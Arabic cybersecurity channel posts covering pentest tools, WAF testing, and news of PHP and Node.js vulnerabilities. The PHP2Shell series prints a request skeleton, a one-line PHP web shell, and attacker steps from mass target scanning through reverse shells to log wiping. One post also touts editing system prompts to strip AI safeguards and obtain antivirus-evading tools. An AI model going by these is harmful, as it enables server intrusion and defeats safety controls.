🔥 تخيّل تبني فريق اختبار اختراق كامل بالذكاء الاصطناعي وتشغّله على جهازك!

المشروع اسمه PentAGI، وهو إطار عمل مفتوح المصدر يجمع عدة وكلاء ذكاء اصطناعي يتعاونوا في التخطيط والتحليل وتنفيذ مهام اختبار الاختراق.

طيب، إيش ممكن يعمل؟ 👇

- جمع المعلومات عن الأهداف وتحليل الخدمات.
- تشغيل عدة أدوات بشكل متزامن لأي عمل تريده انت.

- تحليل النتائج وتحديد الخطوات التالية.
- اكتشاف الثغرات وتوثيق النتائج بشكل مفصل ودقيق .

والأهم، تقدر تشغّله محليًا!

كيف؟

1️⃣ تثبّت Docker لتشغيل مكونات النظام.

2️⃣ تثبّت Ollama لتشغيل نماذج الذكاء الاصطناعي على جهازك، وتربطه بـ PentAGI .

3️⃣ تضبط إعدادات الوكلاء والـ System Prompt، وهو التعليمات الأساسية التي تحدد دور الوكيل وطريقة تعامله مع المهام. وهذه من أفضل الأشياء اللي تساعدك ك مختبر اختراق .

4️⃣ تقدر تخصّص هذه التعليمات وتغيّر جميع القيود السلوكية التي وضعتها أنت في إعدادات الوكيل، هذا يعني أنك تقدر تتجاوز كل قيود النموذج أو ضمانات الأمان بمجرد تعديل الـ System Prompt.
وتجعله يجيب لك أدوات اختراق تتجاوز اي مكافح كان.

والفكرة هنا إنك مش بس تستخدم الذكاء الاصطناعي للمحادثة؛ أنت تبني بيئة تقدر فيها الوكلاء يتعاونوا مع أدوات حقيقية لتنفيذ مهام بشكل آلي.

🔗 مشروع PentAGI:
https://github.com/vxcontrol/pentagi

🔗 Ollama:
https://ollama.com




#PenetrationTesting
#PentAGI

🚫 403 Forbidden??

كلنا نلاحظ هذا الشي لما نجي نفحص مواقع الويب، ونبدأ نبحث عن الـ EndPoints ونحلل الطلبات ونختبر نقاط الدخول المحتملة… وفجأة يطلع لنا "403 Forbidden".

طيب، ممكن نسأل: ماهو هذا اللي حظرني؟

هنا تكمن الإجابة، في شي اسمه WAF
(Web Application Firewall).
عمله يقوم بفحص جميع الطلبات بحثًا عن أنماط غير طبيعية أو طلب غير مصرح به، حسب القواعد اللي فيه.

طيب، إيش نعمل هنا؟ 🤔
هل نوقف الفحص؟ أكيد الكثير ينزعج من ذا الشي!!

خلونا نمشي خطوة بخطوة ونشوف كيف نتعامل مع الموضوع بشكل احترافي. 👇
🔹 الخطوة الأولى: تحديد نوع الـ WAF
قبل أي شيء، نحاول نعرف نظام الحماية المستخدم، ونقدر نستعين بأدوات مثل:
- WAFW00F: https://github.com/EnableSecurity/wafw00f
- WhatWaf: https://github.com/Ekultek/WhatWaf
تساعدنا هذه الأدوات في اكتشاف نوع نظام الحماية.
ملاحظة: في أدوات كثيرة ممكن تستخدموها. ابحثوا عنهم.
🔹 الخطوة الثانية: فهم سبب الحظر
نبدأ بطلب طبيعي (Baseline)، وبعدها نقارن استجابته باستجابات طلبات اختبارية، مثلًا ترميز الطلب وغيره من الطلبات اللي ممكن تعملها.
نراقب عدة أشياء، منها:
- Status Code
- Response Body
- Response Headers
- Response Time
الهدف إننا نفهم متى يظهر الحظر، وكيف تختلف الاستجابة قبل الحظر واثناء عملية التلاعب بالطلبات.
🔹 الخطوة الثالثة: تحديد مصدر الـ 403
وهنا نقطة مهمة جدًا: مش كل "403 Forbidden" سببه الـ WAF!
ممكن يكون السبب واحدًا من الآتي:
- WAF: جدار حماية تطبيقات الويب، ويكون أمام التطبيق أو ضمن بنيته، ويفحص الطلبات وفق قواعد الحماية، وقد يمنع الطلب قبل وصوله إلى التطبيق.
- Server Configuration: المقصود إعدادات خادم الويب الذي يستضيف الموقع، مثل Apache أو Nginx. هذه الإعدادات قد تمنع الوصول إلى مسار أو ملف معين.
- Authentication (المصادقة): التحقق من هويتك، مثل تسجيل الدخول باستخدام اسم المستخدم وكلمة المرور، أو التحقق من جلسة الدخول (Session) أو الرمز (Token).
- Access Control (التحكم في الصلاحيات): تحديد ما يُسمح لك بالوصول إليه بعد معرفة هويتك. مثلًا، الطالب يستطيع مشاهدة درجاته، لكنه لا يمتلك صلاحية تعديل درجات الطلاب الآخرين.
عشان كذا، لما يظهر لك "403 Forbidden"، لا تفترض مباشرة أن الـ WAF هو السبب؛ فقد يكون الرفض صادرًا عن خادم الويب أو التطبيق نفسه.
ملاحظة: رمز "403" وحده لا يحدد مصدر الرفض؛ نحتاج إلى تحليل الاستجابة ومراجعة السجلات المتاحة لتحديد السبب بدقة.
عشان كذا، لازم نحدد مصدر الرفض قبل ما نحكم على نظام الحماية.
🔹 الخطوة الرابعة: تحليل الطلبات والاستجابات
هنا نبدأ نفحص تفاصيل HTTP Requests وHTTP Responses، ونقارن سلوك التطبيق مع أنواع الطلبات المختلفة.
ومن الأدوات اللي ممكن تساعدنا:
- Burp Suite: https://portswigger.net/burp
- OWASP ZAP: https://www.zaproxy.org/
- cURL: https://curl.se/
- Wireshark: https://www.wireshark.org/
كل أداة لها استخدام مختلف؛ فمثلًا Burp Suite وZAP يساعدونا في تحليل طلبات الويب، وcURL في إرسال الطلبات وفحص الاستجابات، بينما Wireshark يفيد في تحليل حركة الشبكة عند الحاجة.

🔹 الخطوة الخامسة: تحليل سلوك الحماية
بعد جمع المعلومات، نبدأ نحدد الأنماط المشتركة بين الطلبات المحظورة والطلبات التي يستجيب لها التطبيق بشكل طبيعي.
من خلال المؤشرات اللي تظهر، نحاول نعرف هل الرفض ناتج عن قاعدة حماية معينة، أو مشكلة في إعدادات التطبيق، أو صلاحيات الوصول.
وممكن نستعين بأدوات إضافية للفحص الآلي واكتشاف المسارات ونقاط الدخول المحتملة، مثل:
- ffuf: https://github.com/ffuf/ffuf
- Nuclei: https://github.com/projectdiscovery/nuclei
- Nuclei Templates: https://github.com/projectdiscovery/nuclei-templates
هذه الأدوات تساعد في مهام الفحص والاكتشاف، ونتائجها تحتاج مراجعة وتحقق.
🔹 الخطوة السادسة: الاختبار العملي والتحقق من قابلية الاستغلال (Exploitation)
بعد ما نكمل مراحل التحليل، ننتقل إلى التحقق العملي من الثغرات المحتملة.
وهنا نختار الأداة بحسب نوع الثغرة:
- Burp Suite: لاختبار ثغرات تطبيقات الويب وتحليل الطلبات والاستجابات.
- SQLmap: لاختبار ثغرات SQL Injection — https://github.com/sqlmapproject/sqlmap
- Metasploit Framework: لاختبار واستغلال ثغرات محددة تتوفر لها وحدات مناسبة — https://github.com/rapid7/metasploit-framework
الهدف هو التحقق من وجود ثغرة فعلية، وفهم تأثيرها، وتقييم فعالية الحماية، وتوثيق النتائج بالأدلة.

ملاحظة اخرى: ممكن نستخدم سكربتات مخصصة أو قوالب فحص جاهزة بحسب نوع الاختبار، بدل ما ننفذ كل خطوة يدويًا.

الخلاصة يا شباب:

التعامل مع الـ WAF مش إنك تشوف "403 Forbidden" وتوقف أو تغيّر مسار الاختبار.

الموضوع يبدأ بتحديد نوع الحماية، وفهم سبب الرفض، وتحليل الطلبات والاستجابات، ثم إجراء الاختبارات العملية المناسبة، وصولًا إلى توثيق النتائج.

والأهم من كل هذا:

لا تحكم على قوة الحماية من رسالة واحدة، ولا تحكم على وجود ثغرة من نتيجة أداة واحدة.

#PenetrationTesting
#WAF

🚨 شركة ناشئة تراهن بـ 5.5M$ على أن القفزة القادمة في البرمجة بالذكاء الاصطناعي لن تأتي من OpenAI أو Anthropic.. بل من جلساتك أنت! 🤯

كل من يبرمج مع الـ AI Agents يعرف هذه المعاناة: تقضي ساعات تشرح للـ Agent مشروعك وأخطاءك وطريقة عملك.. ثم تنتقل من Cursor إلى Claude Code، فيضيع كل شيء وتبدأ من الصفر!

اليوم أطلقت Asymptote Labs أداة Beacon: طبقة ذاكرة مجانية ومفتوحة المصدر تتعلم ذاتياً من جلساتك البرمجية.

🔥 كيف تعمل؟
• ذاكرة واحدة لأكثر من 20 أداة: تلتقط جلساتك من Claude Code و Cursor و Codex و OpenCode و Cline وغيرها، وتوحّدها في صيغة واحدة
• تاريخك البرمجي كله قابل للبحث: كل Prompt وأمر وتعديل ملف ورد يُحفظ في سجل منظم بدل أن يضيع بانتهاء الجلسة
• انتقل بلا خسارة: انتهى رصيدك في Cursor؟ افتح Claude Code واطلب منه إكمال آخر جلسة، فيسترجع Beacon السياق في أجزاء من الثانية
• تتعلم من عملك: تكتشف الخطوات التي تكررها وتحوّلها إلى Skills جاهزة يستفيد منها أي Agent آخر

📌 ميزة أمان لم يتوقعها أحد:
تضم مئات قواعد الرصد لاكتشاف السلوك الخطر، مثل Agent يقرأ بيانات سرية ثم يرسل طلباً إلى الخارج.. وخلال عرض تجريبي على سجل Cursor حقيقي، كشفت أن جزءاً من كلمة مرور قاعدة بيانات إنتاجية أُرسل إلى مزوّد نموذج!

💡 والأجمل:
• رخصة MIT، وبياناتك تبقى محلية على جهازك، أو استخدم Beacon Cloud مجاناً
• الإعداد بـ Prompt واحد تلصقه داخل الـ Agent الخاص بك

وكما قال مؤسسها Justin D'Souza:
"لماذا يجب أن تكون المختبرات الكبرى وحدها الرابحة من جلساتك؟ أنت من قام بالعمل.. فدع الـ Agents تتعلم منك"

تعلّم Agent واحد شيئاً مرة واحدة.. وكل الـ Agents الأخرى تستفيد. خبرتك الآن تتراكم بدل أن تتبخر مع كل جلسة! 🚀

🚨 إنذار عاجل لكل من يملك موقعاً على PHP: ثغرتان حرجتان تسمحان بتشغيل أكواد عن بُعد.. والتحديث الطارئ ينزل اليوم! 💥

فريق أمان PHP أعلن رسمياً عن إصدار أمني طارئ، بعد أن تسربت معلومات الثغرتين قبل موعد الكشف المنسق عنهما.

WordPress و Laravel و Drupal وغيرها تعمل كلها فوق PHP.. يعني ملايين المواقع في دائرة الخطر!

🔥 ما نعرفه حتى الآن:
• ثغرتان: CVE-2026-109618 و CVE-2026-109619، وتقييم كل منهما 9.2 على مقياس CVSS v4.0
• باحثو الأمان وصفوهما بأنهما ثغرات Remote Code Execution، أي أن المهاجم قد يشغّل أوامره على سيرفرك
• التقارير تشير إلى أنها قد تطال إصدارات PHP من 5 حتى 8، والفريق الرسمي لم يؤكد بعد الإصدارات المتأثرة
• لم يُرصد أي استغلال فعلي حتى الآن، لكن PHP قالت إنها قد تطرح التحديث مبكراً إذا ظهرت التفاصيل أو بدأ الاستغلال

📌 موعد التحديث:
الأربعاء 21 أكتوبر، الساعة 14:00 بتوقيت UTC (الخامسة مساءً بتوقيت القاهرة)

💡 ماذا تفعل الآن؟
• اعرف إصدارك بالأمر: php -v
• اجمع قائمة بكل السيرفرات والاستضافات التي تشغّل PHP عندك
• جهّز نافذة صيانة لتحدّث فور نزول الإصدار، وتابع الإعلان الرسمي

ساعات قليلة تفصلك عن الإصدار.. والتأخير في التحديث قد يكلفك موقعك بالكامل! 🛡️

@cyberlab10

https://github.com/ikow/php2shell-poc.git

هذا استغلال خاص بالثغرات اللي تم اكتشافها.
الثغرة مرتبطة بآلية session.upload_progress
في PHP، وتشير التقارير إلى إمكانية الوصول إلى تنفيذ الأوامر عن بُعد (RCE)
الإصدارات المصابة: PHP 5.4
إلى PHP 8.5.11، بحسب المعلومات.

🚨 أمس PHP، واليوم Node.js! إيش الحاصل يا جماعة؟ 😂🔥

خلال يومين، ظهرت تحديثات أمنية مهمة تخص تقنيتين مستخدمتين على نطاق واسع في تطوير الويب.

🔴 أولًا: ثغرات PHP

تم الإعلان عن ثغرتين أمنيتين حرجتين قد تسمحان بتنفيذ تعليمات برمجية عن بُعد دون مصادقة (Unauthenticated RCE):

- CVE-2026-109618
- CVE-2026-109619

🟠 ثانيًا: ثغرات Node.js

تحديثات أمنية صدرت بتاريخ 21 أكتوبر 2026 لمعالجة 10 ثغرات، من بينها أربع عالية الخطورة:

- CVE-2026-111497 — ثغرة في وحدة فك ضغط Brotli قد تسمح بتنفيذ تعليمات برمجية عن بُعد (RCE).
- CVE-2026-105482 — خلل في "dns.resolve" عند معالجة أسماء تحتوي على محرف NUL.
- CVE-2026-105483 — تجاوز التحقق من اسم المضيف في شهادة TLS عند استخدام أرقام Unicode كاملة العرض في عنوان IP.
- CVE-2026-106069 — تجاوز التحقق من شهادة TLS عند تفسير اسم المضيف على أنه عنوان IP.

ومن الثغرات الأخرى التي عالجها تحديث Node.js:

- CVE-2026-105481
- CVE-2026-106072
- CVE-2026-106074
- CVE-2026-106070
- CVE-2026-106071
- CVE-2026-106073

⚠️ الخلاصة: تحديثات الأمن ما هي شيء ثانوي؛ متابعة الثغرات، والتحقق من الإصدارات المتأثرة، وتثبيت الإصلاحات جزء أساسي من حماية الأنظمة.

😂 أمس PHP، واليوم Node.js… وبكرة من الدور عليه؟

🔗 المصادر الرسمية:
PHP: https://www.php.net/archive/2026.php

Node.js: https://nodejs.org/en/blog/vulnerability/october-2026-security-releases

#CyberSecurity #PHP #NodeJS #CVE #RCE #InfoSec @cyberlab10

أدى اكتشاف ثغرتين أمنيتين خطيرتين في لغة البرمجة PHP اليوم الأربعاء 21 أكتوبر 2026، إلى حالة طوارئ عالمية 🌍، وتعليق مؤقت لمئات المواقع الحكومية والخدمية حمايةً لها من أي استغلال محتمل 🛡.

في فرنسا أوقفت وزارة الداخلية المواقع الإدارية التابعة للسلطات المحلية مؤقتااً 🇫🇷، وفي هولندا شمل الإيقاف البوابة الحكومية وموقع ميناء روتردام وبعض المستشفيات 🇳🇱، أما فنلندا فعلّقت الجهة المزودة لتكنولوجيا المعلومات خدمات الشبكة العامة الحكومية 🇫🇮، أما في أمريكا فأصدرت وكالة الأمن القومي الأمريكية تحذيرًا شديد اللهجة ذكرت فيه أن الثغرتين توفران للمهاجمين "طريقًا مباشرًا للوصول إلى أنظمة ملفات الخوادم وقواعد البيانات" 🇺🇸.

الثغرتان الحرجتان اللتان أحدثتا حالة الطوارئ السيبرانية هما CVE-2026-109618 المرتبطة بخلل في التعامل مع نفاد الذاكرة 💾، و CVE-2026-109619 المتعلقة ببقاء الحالة العالمية بعد تحريرها. ويطلق على هاتين الثغرتين، اللتين حصلتا على تقييم خطورة بلغ 9.2 من أصل 10 وتتيحان التنفيذ المباشر للأوامر عن بُعد، مجتمعتين اسم PHP2Shell 🐛.
#HackerNews #PHP2Shell #PHP

تسمح الثغرتان بتنفيذ برمجيات خبيثة عن بُعد دون الحاجة لصلاحيات أو مصادقة مسبقة 🛡⚠️، أصدر مطورو PHP تحديثات عاجلة، وقامت شركات مثل Cloudflare بتحديث قواعد الحماية المؤقتة.

الخطر لا يقتصر على المواقع الحكومية فقط، لأن لغة PHP تعد بمثابة العمود الفقري لشبكة الإنترنت العالمية 🌐، حيث تشغل نحو 76% من جميع مواقع الويب التي تدار بأنظمة إدارة المحتوى المعروفة.

بعد قليل ننشر "نموذج توضيحي لهيكل الطلب" كـ (PoC) تعليمي لفهم آلية صياغة الطلب 📝.
#HackerNews #PHP2Shell #PHP

شهدت الساعات الماضية حالة طوارئ سيبرانية عالمية 🌍 أدت إلى تعليق مؤقت لعدد من المواقع الحكومية والخدمية في أوروبا، وذلك بعد الكشف عن ثغرتين حرجتين في نواة لغة PHP يحملان الرموز CVE-2026-109618 و CVE-2026-109619 (والمعروفتين معا باسم PHP2Shell) 🛡.

بما أن لغة PHP تشغل نحو 76% من شبكة الإنترنت العالمية 📊، فإن الخطر لا يقتصر على الجهات الحكومية بل يمتد لكل سيرفر لم يتم تحديثه بعد ⚠️.

برمجيًا، لا يحتاج المهاجم إلى تسجيل الدخول أو إرسال بيانات اعتماد (مثل اسم المستخدم أو كلمة المرور) 🔓. يظهر الطلب الخبيث (Single Unauthenticated Request) كطلب ويب اعتيادي من نوع POST مٌعدّ لرفع الملفات والبيانات، ولكنه يحتوي على معايير خبيثة مصممة بدقة للتلاعب بذاكرة خادم الويب قبل أن يبدأ تشغيل أي سكريبت داخل الموقع المستهدف (مثل WordPress أو Drupal) 💻.
#HackerNews #PHP2Shell #PHP

أولاً: كيف يجد المهاجمون الخادم المصاب؟ (آلية جمع الأهداف)

لا يبحث المهاجمون عن الموقع بالاسم، بل يعتمدون على أساليب مسح مؤتمتة واسعة النطاق (Mass Scanning):

1. محركات بحث البنية التحتية: استخدام منصات مثل Shodan و Censys للبحث عن الخوادم التي تعلن في الـ HTTP Headers الخاصة بها عن تشغيل لغة PHP (مثل لافتة X-Powered-By: PHP).
2. المسح الشامل لـ IPv4: استخدام أدوات فحص سريعة جداً مثل Masscan للتحقق من المنافذ المفتوحة (80 و 443) وإرسال طلبات فحص أولية لمعرفة نوع التقنية.
3. البحث عن الـ IP الأصلي: محاولة تجاوز جدران الحماية (مثل Cloudflare) عبر استغلال سجلات الـ DNS التاريخية للوصول المباشر إلى عنوان الـ IP الحقيقي للخادم وقصفه بالطلب الخبيث.

ثانياً: الهيكل المفاهيمي لطلب الاستغلال (Conceptual PoC)

تتميز هذه الثغرة بأنها تنجح في استغلال الخادم قبل أن يبدأ كود الموقع (مثل WordPress أو Laravel) في العمل، وتحديداً أثناء معالجة الخادم لعمليات رفع الملفات وتتبع الجلسات دون الحاجة لأي صلاحيات دخول (Unauthenticated).

لأغراض تعليمية، إليكم نموذج برمجي مبسط يوضح كيف يصيغ المهاجمون طلب الويب للتلاعب بذاكرة الخادم:

import http.client
def send_php2shell_educational_poc(host, port, path):
    # إعداد الحدود العشوائية لطلب multipart لرفع الملفات
    BOUNDARY = "----WebKitFormBoundaryPHP2Shell"
    # صياغة محتوى الطلب الذي يستهدف ميزة تتبع رفع الملفات في PHP
    body = (
        f"--{BOUNDARY}\r\n"
        f'Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"\r\n\r\n'
        f"exploit_trigger\r\n"
        f"--{BOUNDARY}\r\n"
        f'Content-Disposition: form-data; name="rawkey"; filename="payload.txt"\r\n'
        f"Content-Type: text/plain\r\n\r\n"
        f"Conceptual_Data_Padding_Here\r\n" 
        f"--{BOUNDARY}--\r\n"
    )
    # إرسال طلب POST الفردي غير المصادق عليه مباشرة إلى الخادم المستهدف
    conn = http.client.HTTPConnection(host, port, timeout=10)
    headers = {
        "Content-Type": f"multipart/form-data; boundary={BOUNDARY}",
        "Content-Length": str(len(body)),
        "Cookie": "PHPSESSID=test_session_id"
    }
    conn.request("POST", path, body=body, headers=headers)
    response = conn.getresponse()
    print(f"[-] Status Received: {response.status}")

بمجرد أن ينجح المهاجم في إرسال طلب الويب الخبيث وإحداث خلل الذاكرة (Memory Corruption) المطلوب، تبدأ مرحلة التثبيت والسيطرة الفعلية. الطلب الأول يفتح الثغرة فقط، لكن الخطوات التي تليها مباشرة تهدف إلى تحويل هذا الاختراق العابر إلى وجود دائم ومخفي داخل السيرفر.

إليكم الخطوات المتتالية التي يتخذها المهاجم فوراً بعد نجاح ثغرة الذاكرة:

1. تشغيل الـ Payload الأولي (Execution Stage)
عندما ينهار محرك PHP داخلياً بسبب نفاد الذاكرة أو بقاء الحالة العالمية، يجبر المهاجم المعالج على القفز إلى العناوين البرمجية التي تحتوي على الكود الخاص به (Payload). غالباً ما يكون هذا الكود عبارة عن أمر نظام (System Command) بسيط مثل:
• على أنظمة لينكس: تشغيل أمر تحميل برمجيات أوسع عبر curl أو wget.
• على أنظمة ويندوز: تشغيل أمر عبر powershell أو cmd.

2. زرع "الباب الخلفي" المُلتحم بالويب (Dropping a Web Shell)
بما أن استغلال ثغرة الذاكرة معقد وقد لا ينجح في كل مرة، فإن أول هدف للمهاجم هو زرع ملف برميجي دائم (Web Shell) داخل مجلدات الموقع العامة (مثل مجلد الصور أو ملفات رفع المستخدمين).
• يقوم المهاجم بكتابة ملف خفي (مثلاً: image_thumb.php أو .system.php) يحتوي على سطر برمجي بسيط يتيح له التحكم بالسيرفر عبر المتصفح لاحقاً دون الحاجة لإعادة استغلال الثغرة، مثل:

<?php system($_GET['cmd']); ?>

3. إنشاء اتصال عكسي للمخترق (Reverse Shell)
لأن فتح الملفات عبر المتصفح قد تكتشفه جدران الحماية، يفضل المهاجمون المحترفون إنشاء اتصال عكسي. يقوم الخادم المخترَق (الموقع الحكومي أو الخاص) بفتح اتصال خارجي صادر (Outbound) والاتصال بجهاز المهاجم مباشرة.

• تكمن خطورة هذه الخطوة في أن معظم جدران الحماية للشركات تمنع الاتصالات الواردة (Inbound) لكنها تسمح بالاتصالات الصادرة من السيرفر إلى الإنترنت، مما يمنح المهاجم شاشة تحكم كاملة بـ الـ Terminal الخاص بالسيرفر.

4. فحص الصلاحيات ومحاولة الارتقاء بها (Privilege Escalation)
في الوضع الطبيعي، تعمل لغة PHP تحت صلاحيات مستخدم محدود جداً على السيرفر (مثل www-data أو apache).

• يبدأ المهاجم بتشغيل أدوات فحص داخلية للبحث عن ثغرات في نظام التشغيل نفسه (Kernel Vulnerabilities) للارتقاء بصلاحياته من مستخدم عادي إلى المستخدم الخارق (Root / Administrator)، وهو ما يمنحه السيطرة المطلقة على السيرفر بأكمله وليس الموقع فقط.

5. مسح السجلات والتخفي (Clearing Logs)
يقوم المهاجم بمسح سجلات الأخطاء وسجلات الوصول (Access Logs) التي قد تظهر الطلبات الغريبة التي أرسلها، لمنع مسؤولي الأمن (SOC Analysts) من اكتشاف الاختراق أو تتبع مصدر الهجوم.

بعد أن ينجح المهاجم في تثبيت وجوده داخل الخادم والحصول على الصلاحيات الكاملة، لا يتوقف عند مجرد الاختراق، بل ينتقل إلى مرحلة إلحاق الضرر المباشر وتحقيق المكاسب، تشفير البيانات وطلب الفدية أو سرقة وتفريغ قواعد البيانات، وأقل شيء يقوم به تشويه واجهة الموقع لأغراض سياسية أو نشر رسالة لإلحاق ضرر بالغ بسمعتها العامة.
#HackerNews #PHP2Shell #PHP

🚨 ما يحدث الآن في عالم الأمن السيبراني أخطر بمليون مرة من حادثة Hugging Face.. نحن أمام زلزال تقني ونقطة تحول مرعبة!

الهجمات المدعومة بالذكاء الاصطناعي تضرب المؤسسات الحقيقية في الصميم، بينما المنصات الكبرى تتهاوى وتكشف عن اختراقات وثغرات قاتلة.
تذكروا هذا اليوم جيداً.. لقد انتقلنا رسمياً من عصر "الهجمات التقليدية" إلى عصر "حرب الذكاء الاصطناعي الذاتي"!

الخطر السيبراني أصبح يهدد الجميع بلا استثناء! 🔥

🚨 اختباراتك تفحص فقط ما فكّر فيه فريقك.. أما باقي الأخطاء فيكتشفها عملاؤك بعد الإطلاق! أداة جديدة تقلب هذه المعادلة تماماً 🤯

إنها Breken، أطلقت للتو بشعار: "Production قبل الـ Production". فكرتها بسيطة ومرعبة: بدلاً من أن يكون المستخدم هو من يكتشف الكارثة، تبني لتطبيقك عالماً كاملاً يشبه الواقع وتحاول كسره بنفسها.

🔥 كيف تعمل؟
• تعيد بناء نظامك بالكامل على أجهزتها، والخدمات الخارجية (الدفع، البريد، قاعدة البيانات، الطوابير) تُجاب داخل بيئة معزولة
• تسرّع الزمن 4,000 مرة، فتتراكم حسابات وسجلات ومهام معلقة وجلسات مفتوحة كأن التطبيق يعمل منذ شهور
• تطلق مستخدمين ووكلاء AI افتراضيين: مدير مستعجل، مستخدم يفتح نفس المستند في تبويبين، Agent ينفذ استرداد أموال من البريد
• تغيّر شرطاً واحداً في كل مرة: Retry، رد ضائع، قفزة في الساعة، أو Deploy في منتصف مهمة
• لا تعتبر الخطأ حقيقياً إلا إذا تكرر في كل مرة، ثم تعطيك الحالة والـ Trace بالضبط مع Pull Request جاهز بالإصلاح

📊 الأرقام:
• على 235 خطأً حقيقياً أبلغ عنها مستخدمون في 33 منتجاً، اكتشفت Breken منها 76
• مقابل 37 فقط لـ Fable 5.1، و28 لـ GPT-6 Astra
• وبثلث عدد الإنذارات الكاذبة مقارنة بـ Fable
• رصيد إضافي مجاني للشركات الناشئة لتجربتها.

إذا كنت تبني تطبيقك بسرعة بالذكاء الاصطناعي، فهذه هي الطبقة التي تحميك من أن يكون أول مختبر حقيقي لمنتجك هو عميلك الغاضب 💥

@cyberlab10

هذه الاداة مفيده جدا للمبرمجيين والمطورين.

تكمل تبني تطبيقك، وبعدين تختبره في الإداه المذكورة في المنشور اعلاه، و تظهر لك كل الثغرات والأخطاء البرمجية التي قد يغفل عنها الكثير من المبرمجين، قبل تسليمها للعميل.
رهيبه جدااا.

@cyberlab10

ثلاثة مسارات مختلفة إلى RCE

تعتمد هذه الثغرات على استغلال الثقة في أنواع مختلفة من المدخلات داخل التطبيق وقد تؤدي جميعها إلى تنفيذ كود على السيرفر لكن آلية الوصول إلى التنفيذ تختلف من ثغرة إلى أخرى.

- Deserialization

تحدث المشكلة عندما يعيد التطبيق بناء كائنات من بيانات غير موثوقة وتؤدي خصائص هذه الكائنات أو الدوال المرتبطة بها إلى الوصول إلى عملية خطرة.

- SSTI (Server-Side Template Injection)

تحدث عندما يستطيع المستخدم التحكم في مصدر القالب الذي يعالجه محرك القوالب مما قد يسمح بتقييم تعبيرات غير مقصودة داخل السيرفر .

- File Upload

تحدث المشكلة عندما يُعالج الملف المرفوع أو يُفسر بطريقة غير آمنة وقد يصل الأمر إلى تنفيذ كود إذا كانت إعدادات السيرفر ومسار الملف يسمحان بذالك .

الفرق الأساسي بين هذه المسارات هو موضع الخلل :
إعادة بناء الكائنات في Deserialization وتقييم القالب في SSTI ومعالجة الملف أو تفسيره في File Upload.

المنشورات التالية بيتم تفصيل كل نوع بصورة مستقلة واكثر تفصيل .

🚨 أداة مجانية جديدة تحذف رقمك وعنوانك من مواقع البحث عن الأشخاص!

اسمها NEWMOON، وتشتغل باستخدام Grok Bot.

تكتب اسمك، فيظهر لك كل المواقع التي تنشر رقم هاتفك وعنوان منزلك (73 موقعاً).

بعدها يتكفل Grok Bot بتقديم طلبات الحذف، تأكيد الإيميلات، ويعيد الفحص كل شهر.

الخدمات المدفوعة مثل DeleteMe تطلب 129 دولاراً سنوياً لنفس الشيء. هذه الأداة مجانية تماماً.

لا يُرسل أي شيء إلا بعد موافقتك، ولا تحتاج هوية أو بطاقة
@cyberlab10

تشتي تتدرّب على #SIEM
بدون وجع راس التثبيت والإعدادات؟

CSI Linux توفر
CSI SIEM Virtual Appliance
جاهزة، تنزّلها وتشغّلها على طول 🔥

🔹 متوفرة لـ VirtualBox و VMware
🔹 بيانات الدخول موجودة في الصفحة
🔹 مناسبة لتطبيق مهام الـ SOC
وتحليل السجلات (Logs)

🎁 وفي نفس الموقع: نظام CSI Linux للتحقيق الجنائي الرقمي (DFIR) و OSINT

@cyberlab10